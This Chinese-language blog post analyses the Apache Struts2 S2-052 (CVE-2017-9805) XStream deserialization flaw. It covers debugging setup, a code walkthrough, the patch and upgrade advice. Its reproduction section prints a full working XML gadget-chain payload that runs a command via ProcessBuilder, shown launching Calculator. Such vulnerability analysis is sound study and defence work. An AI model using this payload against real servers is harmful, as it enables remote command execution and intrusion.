Struts2-052漏洞示例分析

前言

2017 年 9 月 5 日,由國外安全研究組織 lgtm.com 的安全研究人員發現的嚴重漏洞在apache struts 2官方發布,漏洞編號為 cve-2017-9805(s2-052), 攻擊者可以傳入精心構造的xml數據,遠程命令執行。
struts2 rest插件的xstream組件存在反序列化漏洞,使用xstream組件對xml格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程命令執行。
利用條件:使用 rest 插件并在受影響版本范圍內。
利用方式:攻擊者構建惡意數據包遠程利用。
影響版本:struts 2.1.2 – struts 2.3.33, struts 2.5 – struts 2.5.12

調試環境搭建

1)下載官方源碼:
git clone https://github.com/apache/Struts.git
2)切換到2.5.12分支:
git checkout STRUTS_2_5_12
3) 把源碼包中src/apps/rest-showcase整個文件夾拷貝出來,新建一個項目
4)用IDEA或者eclipse導入該maven項目
5) debug模式運行后就可以愉快的調試了
Struts2-052漏洞示例分析

漏洞原理分析

根據官方公告知道該漏洞出現在 XstreamHandler 類,在 struts2-rest-plugin-2.5.12.jar 包內。
于是查看該類,該類中有一個toObject方法,其作用就是對xml內容進行反序列化。
Struts2-052漏洞示例分析
先在此方法內打一個斷點,然后構造數據包
Struts2-052漏洞示例分析
發送數據包后,會跳到斷點處,此時,看到是上層調用棧中是ContentTypeInterceptor調用了該方法
Struts2-052漏洞示例分析
ContentTypeInterceptor類中intercept方法會根據傳入的Content-Type的值生成相應的對象,由于我們傳入的是application/xml,所以對應生成一個xml的處理對象XStreamHandler。
繼續f5,看到執行反序列化的函數unmarshal,在這個函數執行時沒有進行數據安全檢查,導致遠程命令執行。
Struts2-052漏洞示例分析
接著進入unmarshal函數內,繼續往下調試,AbstractReflectionConverter會一步步解析我們提交的xml標簽和值,最終調用poc中代碼
Struts2-052漏洞示例分析

漏洞復現

在頁面http://localhost:8080//struts2-rest-showcase/orders/3/edit中點擊Submit,
Struts2-052漏洞示例分析
攔截HTTP請求并將請求體改為POC Payload,同時將Content-Type Header改為application/xml。
payload為:

<map>    <entry>      <jdk.nashorn.internal.objects.NativeString>        <flags>0</flags>         <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">          <dataHandler>            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">              <is class="javax.crypto.CipherInputStream">                <cipher class="javax.crypto.NullCipher">                  <initialized>false</initialized>                   <opmode>0</opmode>                   <serviceIterator class="javax.imageio.spi.FilterIterator">                    <iter class="javax.imageio.spi.FilterIterator">                      <iter class="java.util.Collections$EmptyIterator"/>                       <next class="java.lang.ProcessBuilder">                        <command>                          <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>                        </command>                         <redirectErrorStream>false</redirectErrorStream>                      </next>                    </iter>                     <filter class="javax.imageio.ImageIO$ContainsFilter">                      <method>                        <class>java.lang.ProcessBuilder</class>                         <name>start</name>                         <parameter-types/>                      </method>                       <name>foo</name>                    </filter>                     <next class="string">foo</next>                  </serviceIterator>                   <lock/>                </cipher>                 <input class="java.lang.ProcessBuilder$NullInputStream"/>                 <ibuffer/>                 <done>false</done>                 <ostart>0</ostart>                 <ofinish>0</ofinish>                 <closed>false</closed>              </is>               <consumed>false</consumed>            </dataSource>             <transferFlavors/>          </dataHandler>           <dataLen>0</dataLen>        </value>      </jdk.nashorn.internal.objects.NativeString>       <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>    </entry>     <entry>      <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>       <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>    </entry>  </map>

發送請求后,彈出計算器
Struts2-052漏洞示例分析

補丁

官方補丁,官方的修復方案中, 主要就是將 xml 中的數據白名單化,把 Collection 和 Map,一些基礎類,時間類放在白名單中,這樣就能阻止 XStream 反序列化的過程中帶入一些有害類Struts2-052漏洞示例分析

修復建議

Version 2.3.0 to 2.3.33升級到Struts 2.3.34版本
Version 2.5.0 to 2.5.12升級到Struts 2.5.13版本

? 版權聲明
THE END
喜歡就支持一下吧
點贊10 分享